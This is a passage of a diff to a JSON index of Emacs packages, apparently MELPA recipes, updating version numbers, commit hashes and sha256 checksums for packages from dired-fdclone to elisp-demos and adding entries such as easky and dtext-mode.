"983854a90ae39ef5d4d7aecaea108dc64aa2a593", - "sha256": "0zb5afa150cm0dv68ksl21x5k2f6dx8sd7isanad1kpz1kii7c0c" + "commit": "e26c299e1f538573d3badae701947005b4a01df7", + "sha256": "0y0japf94dw6qwgxlxnjv5vwi472f8gc3lvwfm1h4h0d40dhkd1s" }, "stable": { "version": [ @@ -23525,11 +23615,11 @@ "repo": "knu/dired-fdclone.el", "unstable": { "version": [ - 20230604, - 1057 + 20231128, + 1614 ], - "commit": "38555dc5a9427664b9b24af352de7550939625de", - "sha256": "0n84wyzvr05kkyfzzdz7fm4n4mcxrznknm37l070qzww2rarq96f" + "commit": "82f161e4d0d9994d128c922170df54f966af182a", + "sha256": "0135pr0wqkfj60iq270nglkq111ljyqqqcsh2s1n293qmyr288b9" }, "stable": { "version": [ @@ -23741,11 +23831,11 @@ "repo": "thomp/dired-launch", "unstable": { "version": [ - 20231016, - 2048 + 20240123, + 611 ], - "commit": "d36bbed96ca8db8e18b005568f79c3728ce0171b", - "sha256": "07f4dh3zm4p5pxa0wyjr5pdsd5ks66q9qv3rcbxnrjm6m96g2rqi" + "commit": "5bd3e4b8068bc5c345965f09d46709e08e15d666", + "sha256": "140z5qxvgm7dd4vl7mcmc641ma806nw6sjc0q1cmlaswyrl6793m" } }, { @@ -24078,11 +24168,11 @@ "repo": "amano.kenji/dired-single", "unstable": { "version": [ - 20230306, - 626 + 20240131, + 1148 ], - "commit": "c781b7dcff6e7f9a5060b067d2cdb0acbc840c49", - "sha256": "01p3m68pq2k2q3b94m2iy66mmra8zf9dfmn734ac5v6glrapx9gq" + "commit": "60fce6599326e12cc2033c28d50b8bf6c6ba164a", + "sha256": "125c8w9msr02qdxx9wykg7g1l8xd5zvy0s8rdhql0m71dvdmyj4n" }, "stable": { "version": [ @@ -24199,22 +24289,25 @@ "repo": "Boruch-Baum/emacs-diredc", "unstable": { "version": [ - 20220113, - 332 + 20240131, + 1429 ], "deps": [ "key-assist" ], - "commit": "7ee68f6b1c87f8ab86cf23416472747e88860717", - "sha256": "18yzqd2rzi6fx7xw2xs0fysc7h3lzlvad4wdg2qq8c6q9028cc25" + "commit": "4090d4cef9d54384706cf52e3ad29921ddef0e0c", + "sha256": "0n8j7vpryxyc8172zaqmsgzc51yhmhsp92y1161dxkn9d0rg6p6n" }, "stable": { "version": [ 1, - 0 + 2 ], - "commit": "887434054c2cfc521ceb990266cc7bbc12c4a72a", - "sha256": "16rwxv2mrn79m8hqg79kq7z6fz2l8amh17kny4y3qnsvakpi0hch" + "deps": [ + "key-assist" + ], + "commit": "a56e26a288f977a46c567c3cfb8c2d2461727c08", + "sha256": "1qs3j2mnnd8qnphxdd2ljgc0i05hlycqwp5wwv7pk0px07pxdvfm" } }, { @@ -24681,15 +24774,20 @@ "repo": "emacs-php/dist-file-mode.el", "unstable": { "version": [ - 20180830, - 418 + 20240107, + 2040 ], - "deps": [ - "cl-lib", - "s" + "commit": "8bb2f05487164cd690cac9c9c442969f6f79b81f", + "sha256": "0hjvbzrfzf7y3lb48dfbyhcjva1an3bbm8wms2mvfr6sysmxaifr" + }, + "stable": { + "version": [ + 1, + 0, + 0 ], - "commit": "e1ce8f592bc5d4d86d2f09e334728ac0d524c761", - "sha256": "09rp83d81y9mm81isrwvacl21vgah7nhi5r4j2xbp13kgdn7my1w" + "commit": "8bb2f05487164cd690cac9c9c442969f6f79b81f", + "sha256": "0hjvbzrfzf7y3lb48dfbyhcjva1an3bbm8wms2mvfr6sysmxaifr" } }, { @@ -25354,14 +25452,14 @@ "repo": "emacs-vs/docstr", "unstable": { "version": [ - 20221231, - 1701 + 20240101, + 901 ], "deps": [ "s" ], - "commit": "68a72e8a9abac28d8451769cab3846c342f657bc", - "sha256": "1rdl0hqif6awkyv6wsmpdk08hx7g851n19rzqchcpksdfq8dk7nr" + "commit": "f780904cffd40e34d72bef04f73c7e007c5f98c0", + "sha256": "04wczm6xlgj0390sys3g6ja3lc01sgcknw2b9l0fmmlav1hzq6v9" }, "stable": { "version": [ @@ -25517,30 +25615,30 @@ "repo": "seagle0128/doom-modeline", "unstable": { "version": [ - 20231028, - 1505 + 20240112, + 1056 ], "deps": [ "compat", "nerd-icons", "shrink-path" ], - "commit": "dc15e932d8be149c9417a00898db229d9a2f8e6f", - "sha256": "0j2brh0crzfd5nbwk1ss14jsjfi7b7ynqwg0ml7wc5srwlqmwiqi" + "commit": "bf880ae56f3f6aab7bd334de9bd9b455c63a24c0", + "sha256": "0l7yyn8yxyxbsjbs52bp9wh66wdj828scb1gjbi6pk1hrx5x8g9v" }, "stable": { "version": [ 4, - 0, - 1 + 1, + 0 ], "deps": [ "compat", "nerd-icons", "shrink-path" ], - "commit": "87a10ad1a082996eb049d0a6236e936098172ce3", - "sha256": "0pwfmj01cqij84dig5qj86n7f4cva5mdjqahr0061byrlv9xrpzb" + "commit": "bf880ae56f3f6aab7bd334de9bd9b455c63a24c0", + "sha256": "0l7yyn8yxyxbsjbs52bp9wh66wdj828scb1gjbi6pk1hrx5x8g9v" } }, { @@ -25570,14 +25668,14 @@ "repo": "doomemacs/themes", "unstable": { "version": [ - 20230916, - 2032 + 20231208, + 2011 ], "deps": [ "cl-lib" ], - "commit": "4aee1f5a0e54552669f747aa7c25e6027e73d76d", - "sha256": "019phmlxllzg51c6kxyaixmby1vxd1i512kv5bjs0wklj8p2pcr5" + "commit": "ff26f26ea3d761375f5fc4070438fbd0f3473d33", + "sha256": "0ag8va9xwr61ra3nn53alggmdnw42x2z7820jyjqff39f5ziqszs" }, "stable": { "version": [ @@ -25797,14 +25895,11 @@ "url": "https://salsa.debian.org/emacsen-team/dpkg-dev-el.git", "unstable": { "version": [ - 20230220, - 1635 - ], - "deps": [ - "debian-el" + 20231220, + 35 ], - "commit": "af9aad721cb263e495e2f77df458e9496549c04b", - "sha256": "1vqmi32n3yz4chrbi0473hhh4klxsh63qbydcl44xa91g3ly3vp5" + "commit": "767ae6e9c2222e689272089a96f9545f1eb5552c", + "sha256": "1dhq1vdwggl8wz812v2r9ipmz35yry3ylkm851p11wizv0z91whm" }, "stable": { "version": [ @@ -26085,6 +26180,21 @@ } }, { + "ename": "dtext-mode", + "commit": "cbc4f8c3451ef2572b494b16bca2105b94e0ff70", + "sha256": "085jsr1z785ba506c0538zs4s2mmyf1ar5i1a4kdzb013f2wkmwq", + "fetcher": "github", + "repo": "JohnDevlopment/dtext-mode.el", + "unstable": { + "version": [ + 20231120, + 1606 + ], + "commit": "5c68d1c05c4606f68384569d9baaef4f6e72fc73", + "sha256": "1zsa7pm36fgd3bbjqfi5yfgr27z0wjwjzy9wyaqcn3wlvkd251vy" + } + }, + { "ename": "dtk", "commit": "39333468fb6e9493deb86511f0032610a412ec8a", "sha256": "005x3j5q8dhphhh4c48l6qx7qi3jz9k02m86ww1bzwfzji55p9sp", @@ -26128,19 +26238,19 @@ "repo": "jscheid/dtrt-indent", "unstable": { "version": [ - 20230910, - 1004 + 20240106, + 1216 ], - "commit": "e0630f74f915c6cded05f76f66d66e540fcc37c3", - "sha256": "1vddrpplc7887gcfg7d52fv1nxv6sgn3w310gr06c6nfk3lwas9y" + "commit": "0230ec503283b895bd3df6c1e30b35a01aa0b9af", + "sha256": "01jrnzbqgj8pimvrb8335vjly04r0bx67gvq7dvprnf72n49r4i7" }, "stable": { "version": [ 1, - 15 + 16 ], - "commit": "e0630f74f915c6cded05f76f66d66e540fcc37c3", - "sha256": "1vddrpplc7887gcfg7d52fv1nxv6sgn3w310gr06c6nfk3lwas9y" + "commit": "0230ec503283b895bd3df6c1e30b35a01aa0b9af", + "sha256": "01jrnzbqgj8pimvrb8335vjly04r0bx67gvq7dvprnf72n49r4i7" } }, { @@ -26210,16 +26320,16 @@ "repo": "jacktasia/dumb-jump", "unstable": { "version": [ - 20230716, - 1717 + 20240114, + 354 ], "deps": [ "dash", "popup", "s" ], - "commit": "d9503c157ab88f0ed2fa1301aeb57e95ac564760", - "sha256": "1v19valcwxn987bq698kd78hxyq4ri0m7s2phzbw3fm4nl65q3i8" + "commit": "ede6a04187e79a29ef31d14760ac0d8d4c5f4cc5", + "sha256": "1ly7xsfliyw38hqh862p6m37mxl460k4zq1fy3xs0jz9q3ak84iq" }, "stable": { "version": [ @@ -26268,11 +26378,11 @@ "stable": { "version": [ 3, - 11, - 1 + 13, + 0 ], - "commit": "7cbb0e7277c6cacd1ccf7941cac5a03c25fc63cf", - "sha256": "1lzhm12sd51m39a0r442afbb102ypvfmac79ngkmz9knn1w2ng50" + "commit": "21f904250f8bc27abbeafadf70682aceb198b1e3", + "sha256": "109rbwhmndrq95z144nl8hfzad2sf7xawwikx27xnxrdg5vp1gsp" } }, { @@ -26405,11 +26515,11 @@ "repo": "xenodium/dwim-shell-command", "unstable": { "version": [ - 20231113, - 759 + 20240108, + 1754 ], - "commit": "e4a139fe181ed1b576302fb36f3761fbf9914580", - "sha256": "03rincnyz895d0g49gifbjn8b7gr5b37c8fbpk7anrrp29gfr6n1" + "commit": "7a2c298424466d2bff7c050e01fb85b5f882dbc3", + "sha256": "0ac32n212g9jk76zns6z92syx2himhxll6qr8drvvz98ybjh46pm" } }, { @@ -26511,20 +26621,20 @@ "repo": "rocher/dynamic-ruler", "unstable": { "version": [ - 20160602, - 808 + 20231126, + 1915 ], - "commit": "c9c0de6fe5721f06b50e01d9b4684b519c71b367", - "sha256": "09skp2d5likqjlrsfis3biqw59sjkgid5249fld9ahqm5f1wq296" + "commit": "984877f3ad8dd4e4bdec2fcacb82a11b4f3b5d75", + "sha256": "0r495zyl6jgxv6vpg91ls48sdzgwq2c280qw1vflcj29b05kgglz" }, "stable": { "version": [ 0, 1, - 6 + 7 ], - "commit": "c9c0de6fe5721f06b50e01d9b4684b519c71b367", - "sha256": "09skp2d5likqjlrsfis3biqw59sjkgid5249fld9ahqm5f1wq296" + "commit": "984877f3ad8dd4e4bdec2fcacb82a11b4f3b5d75", + "sha256": "0r495zyl6jgxv6vpg91ls48sdzgwq2c280qw1vflcj29b05kgglz" } }, { @@ -26800,30 +26910,30 @@ "repo": "aki2o/e2wm-term", "unstable": { "version": [ - 20200322, - 729 + 20240107, + 850 ], "deps": [ "e2wm", "log4e", "yaxception" ], - "commit": "74362d6271e736272df32ea807c5a22e4df54a50", - "sha256": "1cr2mp1visx4fnxc73sk6gw7wnl1mxfb624rm1sxz7wwry8b8fx9" + "commit": "4542e52138484933dd99a497ff1b048ea42f9246", + "sha256": "0qjfmzw6af0f00ak2a8p8fdvyjy69nrix3jvaw2j3p4ajw620zpy" }, "stable": { "version": [ 0, - 0, - 5 + 1, + 0 ], "deps": [ "e2wm", "log4e", "yaxception" ], - "commit": "65b5ac88043d5c4048920a048f3599904ca55981", - "sha256": "0qv3kh6q3q7vgfsd8x25x8agi3fp96dkpjnxdidkwk6k8h9n0jzw" + "commit": "4542e52138484933dd99a497ff1b048ea42f9246", + "sha256": "0qjfmzw6af0f00ak2a8p8fdvyjy69nrix3jvaw2j3p4ajw620zpy" } }, { @@ -26873,26 +26983,20 @@ "repo": "emacs-eask/eask", "unstable": { "version": [ - 20231113, - 908 - ], - "deps": [ - "dash" + 20240128, + 1012 ], - "commit": "98c53882a6b6703c62d7a59e0dcdf5e29ca2ca95", - "sha256": "17isgyg85fdhhhzn9jh6d0cba19ag7zwkppc1n34i2knm91411hm" + "commit": "3f8d4b668c4568d65f40c4f8bbb20c3b8dbfaa05", + "sha256": "0fld9qiyhhi8z50zjfn7afp92v6klwvk33fycfhnrdjhbkjjihp6" }, "stable": { "version": [ 0, - 8, - 6 - ], - "deps": [ - "dash" + 9, + 4 ], - "commit": "224798a5660717fd4325f13d66ba275a4d2031dc", - "sha256": "0ixm0dkzdxn35il16ff2r2xjqw7sbfqirkf3w664lrdwa56wzm1b" + "commit": "3f8d4b668c4568d65f40c4f8bbb20c3b8dbfaa05", + "sha256": "0fld9qiyhhi8z50zjfn7afp92v6klwvk33fycfhnrdjhbkjjihp6" } }, { @@ -26903,14 +27007,14 @@ "repo": "emacs-eask/eask-mode", "unstable": { "version": [ - 20231001, - 1914 + 20240101, + 819 ], "deps": [ "eask" ], - "commit": "2fb19f30812c5c0db2bcc7078fdd43958731bfef", - "sha256": "1ncja693h4xdn96vvb5mzxj900xj29xgv3rynfckkcsfakkpp3r9" + "commit": "774bf05f2d778a107f27f8fa47034ad15f16395c", + "sha256": "00m1ha91clcjwnxyqszbdw7shgjy602x0f89jqmn1jqasf3wp1kb" }, "stable": { "version": [ @@ -26923,6 +27027,44 @@ } }, { + "ename": "easky", + "commit": "f914ce1ae6793f45d27e9d3ba6651d4ed253462c", + "sha256": "0aa056dn3360z8dxxd2lxg5iggx0fj3q9vanrbaclzqkybv7bgnw", + "fetcher": "github", + "repo": "emacs-eask/easky", + "unstable": { + "version": [ + 20240101, + 818 + ], + "deps": [ + "ansi", + "eask", + "eask-mode", + "lv", + "marquee-header" + ], + "commit": "b44f6c87cc73138aa0692e69f138a0e7a684903b", + "sha256": "0h9d9ry6wsm0icr5777haynz8dxc2qqrwb95gdvdmg56nrw21mvz" + }, + "stable": { + "version": [ + 0, + 1, + 0 + ], + "deps": [ + "ansi", + "eask", + "eask-mode", + "lv", + "marquee-header" + ], + "commit": "ad528fd56ff4e25deec747dcfc815f4edf56ee68", + "sha256": "1mi1xxg26s7sxkwb06yzaq0r270cdlhchlwf0aq678n2h11xzhc5" + } + }, + { "ename": "easy-after-load", "commit": "384ffc463cc6edb4806f8da68bd251e662718e65", "sha256": "1mn4hpx82nifphzx71yw3rbixbgis8bhvl3iyxcgcd88n5hqwvys", @@ -26960,30 +27102,30 @@ "repo": "masasam/emacs-easy-hugo", "unstable": { "version": [ - 20230928, - 134 + 20240129, + 1534 ], "deps": [ "popup", "request", "transient" ], - "commit": "1441922d26da1edad0e9020826c4ea26d63e22e1", - "sha256": "04qk4njcdl32cjnskg3cj64d0i4f3nqcpqay0faycnkkp2zfswa2" + "commit": "ecae28ef6bd70f3b7492592008bfa8776d81d2e7", + "sha256": "1712dnzdpfm8b217vjp76mkmlvcpc8ml6db116c4g4yb9531bish" }, "stable": { "version": [ 3, 10, - 59 + 60 ], "deps": [ "popup", "request", "transient" ], - "commit": "1441922d26da1edad0e9020826c4ea26d63e22e1", - "sha256": "04qk4njcdl32cjnskg3cj64d0i4f3nqcpqay0faycnkkp2zfswa2" + "commit": "ecae28ef6bd70f3b7492592008bfa8776d81d2e7", + "sha256": "1712dnzdpfm8b217vjp76mkmlvcpc8ml6db116c4g4yb9531bish" } }, { @@ -27054,26 +27196,26 @@ "repo": "knu/easy-kill-extras.el", "unstable": { "version": [ - 20230829, - 526 + 20240122, + 1649 ], "deps": [ "easy-kill" ], - "commit": "677435739c698ed81c3732188c29aa98bd9ffb08", - "sha256": "0dk7jvf69mi8p8r98i1hf884s6vrrlg1av1qbxl2bj9d736h9c5l" + "commit": "6ec0a1ff47aee681f7aa7af4250ede75815385f2", + "sha256": "05lgmy3fqyp6kb0756f36ajpij5lnz29b2wvq7jkbdl0k8c3f6wk" }, "stable": { "version": [ 0, 9, - 11 + 14 ], "deps": [ "easy-kill" ], - "commit": "677435739c698ed81c3732188c29aa98bd9ffb08", - "sha256": "0dk7jvf69mi8p8r98i1hf884s6vrrlg1av1qbxl2bj9d736h9c5l" + "commit": "ff9de0c9186f8e43cb29611c78756b14e728dbb3", + "sha256": "0a3zlp6vsz47rnj8cr2az71cdinkm951jp67yl1cbk2z0v1szjy7" } }, { @@ -27100,6 +27242,38 @@ } }, { + "ename": "ebdb-mua-sidecar", + "commit": "14ce9b9c023ca8d3b42485253212c65e50a5e352", + "sha256": "0zgf4ps0pid58md63l95kryhvi50pjpv4p4vhm0c6d47nwmysw6h", + "fetcher": "sourcehut", + "repo": "swflint/emacs-universal-sidecar", + "unstable": { + "version": [ + 20240115, + 1727 + ], + "deps": [ + "ebdb", + "universal-sidecar" + ], + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" + }, + "stable": { + "version": [ + 1, + 5, + 2 + ], + "deps": [ + "ebdb", + "universal-sidecar" + ], + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" + } + }, + { "ename": "ebf", "commit": "22e2f6383f2a7a01778c0524af19a68af57796ae", "sha256": "072w1hczzb4z0dadvqy8px9zfnfd2z0w8nwa7q2qm5njg30rrqpb", @@ -27140,26 +27314,28 @@ "repo": "joostkremers/ebib", "unstable": { "version": [ - 20231103, - 2 + 20240111, + 1538 ], "deps": [ + "compat", "parsebib" ], - "commit": "6381458947bc6fb6c0605469bceb92784a9fbd67", - "sha256": "08j6z4rpnvz7vhdrm7y3prf2jpxclqicid6as4qljysq3czzfhay" + "commit": "996ca97ac5f29c066cff5da60717eaded8e513fa", + "sha256": "1x5nia67vr49l203455zgdgk0dng5fmhdfvgklq456r1qs021qsw" }, "stable": { "version": [ 2, - 39, - 4 + 40, + 3 ], "deps": [ + "compat", "parsebib" ], - "commit": "6381458947bc6fb6c0605469bceb92784a9fbd67", - "sha256": "08j6z4rpnvz7vhdrm7y3prf2jpxclqicid6as4qljysq3czzfhay" + "commit": "e6a88d62e5386ef056bd4fca4a95afe9e5ba6fe3", + "sha256": "07pyb76impqpczx6hl6amfs4hfnszfwydp27az46dkqc17hy0fgy" } }, { @@ -27215,11 +27391,11 @@ "repo": "benzanol/echo-bar.el", "unstable": { "version": [ - 20230209, - 1350 + 20231121, + 1720 ], - "commit": "03cae6d045636948d8b47979d85774e39556f9e1", - "sha256": "1431xpklnb5894mq3gxc7kvp2q5qa04bnlx8qcxv5l9g2rs0jiih" + "commit": "1138151e55fdfd43126c79caf13169a644b47c00", + "sha256": "01ydg9a2b4617cqz2w3jb6dk9wkrl559qssa2z1y6gz3awy6fwd6" } }, { @@ -27570,20 +27746,20 @@ "repo": "Fanael/edit-indirect", "unstable": { "version": [ - 20220511, - 1124 + 20240128, + 119 ], - "commit": "f80f63822ffae78de38dbe72cacaeb1aaa96c732", - "sha256": "13v0fvzh3nv3bm4c3ld7pknw2g76cjkx81hsrmbrd1irlv4s4b00" + "commit": "82a28d8a85277cfe453af464603ea330eae41c05", + "sha256": "1qjnhhf8c00hnn0b8icq71l73fa1blxfx9q0ahnvpd32wh6i0bql" }, "stable": { "version": [ 0, 1, - 10 + 13 ], - "commit": "f80f63822ffae78de38dbe72cacaeb1aaa96c732", - "sha256": "13v0fvzh3nv3bm4c3ld7pknw2g76cjkx81hsrmbrd1irlv4s4b00" + "commit": "82a28d8a85277cfe453af464603ea330eae41c05", + "sha256": "1qjnhhf8c00hnn0b8icq71l73fa1blxfx9q0ahnvpd32wh6i0bql" } }, { @@ -27677,14 +27853,14 @@ "repo": "editorconfig/editorconfig-emacs", "unstable": { "version": [ - 20230919, - 2101 + 20240129, + 257 ], "deps": [ "nadvice" ], - "commit": "4bf871b7a2f2433d1032ef2b251bfb08c23347f4", - "sha256": "0an4krh3i2xg156hlc6vmgcjk9chzgicq9jdnx5mkcrqzpfry6yr" + "commit": "4b81a5992858cbf03bcd7ed6ef31e4be0b55a7c1", + "sha256": "1chhc0jffk7zrll737h2wpr0ccakvgskblfvw5jsprscp00asm11" }, "stable": { "version": [ @@ -27823,11 +27999,11 @@ "repo": "sinic/ednc", "unstable": { "version": [ - 20230604, - 1643 + 20240107, + 2214 ], - "commit": "6fdb2da558049ad7978ffac40012ff1e1b2249a6", - "sha256": "1jdlwngxipq5pzs3kgmzwc99aqk6mi3cf1wv228hhmb8nsm1dqgd" + "commit": "d4d604f95e9b7955ee596210c2e47fccbd12a21d", + "sha256": "1dii711i3ga7gmqkyfvlf8k2sklkp941gyvy3d4rhp66gfiv8frc" }, "stable": { "version": [ @@ -27935,11 +28111,19 @@ "repo": "oxidase/eff", "unstable": { "version": [ - 20230613, - 958 + 20240108, + 658 + ], + "commit": "b8ce5d82dc2ef4df912b2b0cbe79e20b455ebd84", + "sha256": "0y7hz4cmhr6n91wv5q82ly2fjj4k0ihvc7pgr7wmbj63pvzbdys8" + }, + "stable": { + "version": [ + 0, + 2 ], - "commit": "3ad6a3f3886c532149f9a1c8c740ab95940ab63b", - "sha256": "0fp4qgxw6nx90bp2mxll3qxg35sd3f4yl76fgc3bv2zj8q8349p1" + "commit": "b8ce5d82dc2ef4df912b2b0cbe79e20b455ebd84", + "sha256": "0y7hz4cmhr6n91wv5q82ly2fjj4k0ihvc7pgr7wmbj63pvzbdys8" } }, { @@ -28120,15 +28304,15 @@ "repo": "yveszoundi/eglot-java", "unstable": { "version": [ - 20231013, - 153 + 20240201, + 451 ], "deps": [ "eglot", "jsonrpc" ], - "commit": "ee319cf87a7caaed52acbeb1b3ea00aa44d116b7", - "sha256": "0s0202adv19krb2qkk5dql49i76sgm5a1vls473qvdmd9f8pl38w" + "commit": "1f621b56cb566f3e5370db246da4b74ca0480a67", + "sha256": "1haps89hgbjpim8m2kwp49llm0n07zfh809520m6xzlg6r7czbiv" } }, { @@ -28214,11 +28398,11 @@ "url": "https://forge.tedomum.net/hjuvi/eide.git", "unstable": { "version": [ - 20231112, - 2210 + 20240122, + 1953 ], - "commit": "1979bec36dba95168c9e6c68bd7d9248502de68e", - "sha256": "0dizx7clclwlgg858kbhg6ds4aj4949anwk0hf72dn08dxadwk81" + "commit": "d497539f00c33e3bee85d0f4b8ca367672fa2219", + "sha256": "0gsfmjm71xcwhrznalm49ic47d4x7l6rizmyqr8mb4x8sbdbjhgn" }, "stable": { "version": [ @@ -28295,22 +28479,22 @@ }, { "ename": "ejc-sql", - "commit": "e01655679087504db1206b22435ba8eb7050aa23", - "sha256": "13i55l6hwsxbmdxmvh6aajayivgskw4iagmj9in1qkd9rnrykhn9", - "fetcher": "github", + "commit": "add3089ff62ba64bff96523768d18b79653bd491", + "sha256": "0i3gcbx6zi9v8v95201rdvq55shsj8bbsv4j8aphcdhz9j4nbaxn", + "fetcher": "gitlab", "repo": "kostafey/ejc-sql", "unstable": { "version": [ - 20230822, - 1534 + 20240106, + 1848 ], "deps": [ "clomacs", "dash", "spinner" ], - "commit": "c99a257c18dbcca02a63172b4f1c2a947c908d8e", - "sha256": "14vkq7lnrgm7ypa6sx73jlm1k2i8y01347gd4nw7g19vdfdgx016" + "commit": "b80b773238719fa7160e598219f300dfbc4db06d", + "sha256": "1w2xh207rm4a242iykhzsp3r3s8gv1cw8qr3cvwfbkxqrzmki7z4" }, "stable": { "version": [ @@ -28351,28 +28535,28 @@ "repo": "ahyatt/ekg", "unstable": { "version": [ - 20231111, - 513 + 20231127, + 46 ], "deps": [ "llm", "triples" ], - "commit": "adbe9bfb6faf603fcd4958d4b4d6473829d4e7f2", - "sha256": "10c33xmzay4lm3hi84gsy5vq3sff8ys0r0nn6f1k3kjvwfpyjcr8" + "commit": "d5324b62b2fb6c5fe4d54cf23d4d054b07869124", + "sha256": "1bnxipr0dsxb66dnwi3w2d51y6ysz9d8nlnbg0wxiiwzd175lnhj" }, "stable": { "version": [ 0, 4, - 2 + 3 ], "deps": [ "llm", "triples" ], - "commit": "adbe9bfb6faf603fcd4958d4b4d6473829d4e7f2", - "sha256": "10c33xmzay4lm3hi84gsy5vq3sff8ys0r0nn6f1k3kjvwfpyjcr8" + "commit": "d5324b62b2fb6c5fe4d54cf23d4d054b07869124", + "sha256": "1bnxipr0dsxb66dnwi3w2d51y6ysz9d8nlnbg0wxiiwzd175lnhj" } }, { @@ -28562,19 +28746,19 @@ "repo": "radian-software/el-patch", "unstable": { "version": [ - 20230409, - 2156 + 20231123, + 2216 ], - "commit": "7dfbd374f9de256de03516d777146e7f8aba1cef", - "sha256": "06zzl4m4mszyxv7xcyvlv6h5iyz7yg041m324faxyyml10jyfbj4" + "commit": "92803e7ea6e07cd56667ed7ea0dfacfc1f37f6d9", + "sha256": "0x2x3ci5i428wgagbwjh9qp2zlflkzlrkbpi6qa4fv7dq3vgkrv2" }, "stable": { "version": [ 3, - 0 + 1 ], - "commit": "d4f4574bcf4005f4fbafde8874cb19b907783956", - "sha256": "0qkx7f19kl85n56bp3q40200a6ynpkhimcnb3k6x4n6idn6ff2pa" + "commit": "92803e7ea6e07cd56667ed7ea0dfacfc1f37f6d9", + "sha256": "0x2x3ci5i428wgagbwjh9qp2zlflkzlrkbpi6qa4fv7dq3vgkrv2" } }, { @@ -28893,19 +29077,20 @@ "repo": "emacs-eldev/eldev", "unstable": { "version": [ - 20231115, - 1824 + 20240123, + 2127 ], - "commit": "2aefc4d2820d922073917c7f87ea83c80c930ca6", - "sha256": "0z98cwzfj71xnq5wk5hgvdf2ar150cr6xs8mxwdi2204mqzzdsnd" + "commit": "fd6bbda5e54e70e298c8dca4a5eff982f5a9e987", + "sha256": "0mqawhq49r0j2s93lz32sr0hkg2b4b1nrw6alnbrk5i7pibw0s0q" }, "stable": { "version": [ 1, - 8 + 8, + 2 ], - "commit": "c207e9537255d9167f9c578b2effc864f7e87743", - "sha256": "1jzknbdcvq4dp36f7p5abksd524lrlnmh6wycf0h3513wqnrprf8" + "commit": "220f54cbd2398843c91065bc3a2375fe8934dcdf", + "sha256": "108px7lnf39ngvb8rcqb9qh2amcbs1h22dbwd1q7js2np2nd132y" } }, { @@ -28955,14 +29140,14 @@ "repo": "emacs-eask/eldoc-eask", "unstable": { "version": [ - 20230906, - 611 + 20240101, + 819 ], "deps": [ "eask" ], - "commit": "c82dedc41772f6a84f02b2fe24bea7ba9512e246", - "sha256": "100s4vafs6y4pr6v4dchv9m7cca33w5qr1wzya0c1ipljakvp67s" + "commit": "ade0f239814f3b8bc77229e903d2c4b806ded90a", + "sha256": "1d1zzmsvgp2ww9a53j08v9pk10p2bjzf2937sd1szlhryssgvrmm" }, "stable": { "version": [ @@ -29141,20 +29326,20 @@ "repo": "swflint/electric-ospl-mode", "unstable": { "version": [ - 20230719, - 1531 + 20231129, + 1953 ], - "commit": "8bf02159c2658a08198b2765ee979e930378956c", - "sha256": "08ph91dglwf3i0jrj7aw83kxvqa2q4m7qiwfvsb86h1ilrrnqmwp" + "commit": "c2b33c82156adffcbe1c81abc2f62ee4ab86b0c6", + "sha256": "10cpmmsfyxbymz7w0hs377bvr4i2b2gy43q6q8ig8x9xsdgbpbkj" }, "stable": { "version": [ - 2, - 1, + 3, + 0, 0 ], - "commit": "55fa59592d0d3e929bd8646ea691a592965a167a", - "sha256": "0lnyxjkqankqij23bpql5lwgz0iyn03xyjl7nps0as6qsabbfldr" + "commit": "c2b33c82156adffcbe1c81abc2f62ee4ab86b0c6", + "sha256": "10cpmmsfyxbymz7w0hs377bvr4i2b2gy43q6q8ig8x9xsdgbpbkj" } }, { @@ -29329,26 +29514,26 @@ "repo": "rnadler/elfeed-curate", "unstable": { "version": [ - 20231110, - 1646 + 20231119, + 32 ], "deps": [ "elfeed" ], - "commit": "8d3628c81fc7dd9fefb9c5beca9fe4eab3575238", - "sha256": "16577gvlxs3dw8i02jgghlnnvq5r8b9d0b833j0d1fy67wj4dj1h" + "commit": "195ee944a1dd95380c680d886e15a8aadab50b8e", + "sha256": "052wz0aw9mwfzs34pa6wf1kh5fwp155pnp4b4f159nj0w6ih9mk6" }, "stable": { "version": [ 0, 2, - 0 + 1 ], "deps": [ "elfeed" ], - "commit": "8d3628c81fc7dd9fefb9c5beca9fe4eab3575238", - "sha256": "16577gvlxs3dw8i02jgghlnnvq5r8b9d0b833j0d1fy67wj4dj1h" + "commit": "195ee944a1dd95380c680d886e15a8aadab50b8e", + "sha256": "052wz0aw9mwfzs34pa6wf1kh5fwp155pnp4b4f159nj0w6ih9mk6" } }, { @@ -29481,15 +29666,15 @@ "repo": "SqrtMinusOne/elfeed-summary", "unstable": { "version": [ - 20230823, - 925 + 20231231, + 1456 ], "deps": [ "elfeed", "magit-section" ], - "commit": "6bad19a7d4b2375233cd3ff571e2e6ed55d457b2", - "sha256": "0h5x8w5v8a6gs0vlmp1xs9pfnv4bg0sxa719m9q3jdrzarafqmzl" + "commit": "7e308adaa351f8c7f6ba839cbcfd4e3cd145401c", + "sha256": "1wdycmr7yl4qn921fwnbkwjpl5ys38yikc3y8b2mjp7bzjp38w1w" }, "stable": { "version": [ @@ -29513,15 +29698,15 @@ "repo": "karthink/elfeed-tube", "unstable": { "version": [ - 20231022, - 1733 + 20240123, + 1825 ], "deps": [ "aio", "elfeed" ], - "commit": "0291038a00c17d780aded05b1e90860a2d586546", - "sha256": "0pza83vfih4gmqmf3mvpp9nxvhd9rsvszh71r9vfmdafzwqkc31p" + "commit": "92c66d6adcebe0588ccf811616decf7ef8a8ac65", + "sha256": "1mz2mk9vzdpj0x6dv1grkz03algrsf62kfqrlhnww60vnzqi6i3r" }, "stable": { "version": [ @@ -29685,11 +29870,11 @@ "repo": "ideasman42/emacs-elisp-autofmt", "unstable": { "version": [ - 20231112, - 552 + 20231207, + 1018 ], - "commit": "ac9f2cc1482a7ef4b84d87bd990208030bfc5f57", - "sha256": "1nr5x9mq24w5dib39zyb95c7ksdp3k7scgsb1r5ldywjss4z44da" + "commit": "6b280c854f964c303de2f9316f8f955e52893b8d", + "sha256": "0dnvyhfw906x234nzdprxlg9jx1wpj4wbfd65ack10zcvl6lwjxq" } }, { @@ -29733,20 +29918,20 @@ "repo": "xuchunyang/elisp-demos", "unstable": { "version": [ - 20230726, - 2059 + 20240128, + 810 ], - "commit": "8d0cd806b109076e6c4383edf59dbab9435dc5dc", - "sha256": "1yy9gsm16zss7z9prd21ag2dij186r9jpwza463vqd93s2rivzkx" + "commit": "1a108d1c5011f9ced58be2ca98bea1fbd4130a2f", + "sha256": 